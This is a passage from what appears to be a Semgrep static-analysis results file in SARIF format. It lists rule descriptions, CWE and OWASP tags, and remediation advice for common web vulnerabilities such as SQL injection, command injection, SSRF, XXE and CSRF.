configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","id":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","name":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"help":{"markdown":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","id":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","name":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"help":{"markdown":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","id":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","name":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite)\n - [https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application](https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","id":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","name":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","id":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","name":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","id":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","name":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"help":{"markdown":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure)\n - [https://cwe.mitre.org/data/definitions/209.html](https://cwe.mitre.org/data/definitions/209.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n","text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","id":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","name":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","properties":{"precision":"very-high","tags":["CWE-209: Generation of Error Message Containing Sensitive Information","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection)\n - [https://www.php.net/manual/en/ref.exec.php](https://www.php.net/manual/en/ref.exec.php)\n - [https://www.php.net/manual/en/ref.filesystem.php](https://www.php.net/manual/en/ref.filesystem.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection","id":"php.laravel.security.laravel-command-injection.laravel-command-injection","name":"php.laravel.security.laravel-command-injection.laravel-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-command-injection.laravel-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","id":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","name":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"help":{"markdown":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n","text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection","id":"javascript.express.security.audit.remote-property-injection.remote-property-injection","name":"javascript.express.security.audit.remote-property-injection.remote-property-injection","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.remote-property-injection.remote-property-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"help":{"markdown":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv)\n - [https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection](https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection)\n","text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv","id":"python.lang.security.audit.conn_recv.multiprocessing-recv","name":"python.lang.security.audit.conn_recv.multiprocessing-recv","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.conn_recv.multiprocessing-recv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"help":{"markdown":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password)\n - [https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation](https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation)\n","text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password","id":"python.django.security.audit.unvalidated-password.unvalidated-password","name":"python.django.security.audit.unvalidated-password.unvalidated-password","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.unvalidated-password.unvalidated-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"help":{"markdown":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg","id":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","name":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Outlook Team detected"},"help":{"markdown":"Outlook Team detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Outlook Team detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team","id":"generic.secrets.security.detected-outlook-team.detected-outlook-team","name":"generic.secrets.security.detected-outlook-team.detected-outlook-team","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-outlook-team.detected-outlook-team"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"help":{"markdown":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html)\n - [https://www.npmjs.com/package/react-markdown#security](https://www.npmjs.com/package/react-markdown#security)\n","text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning 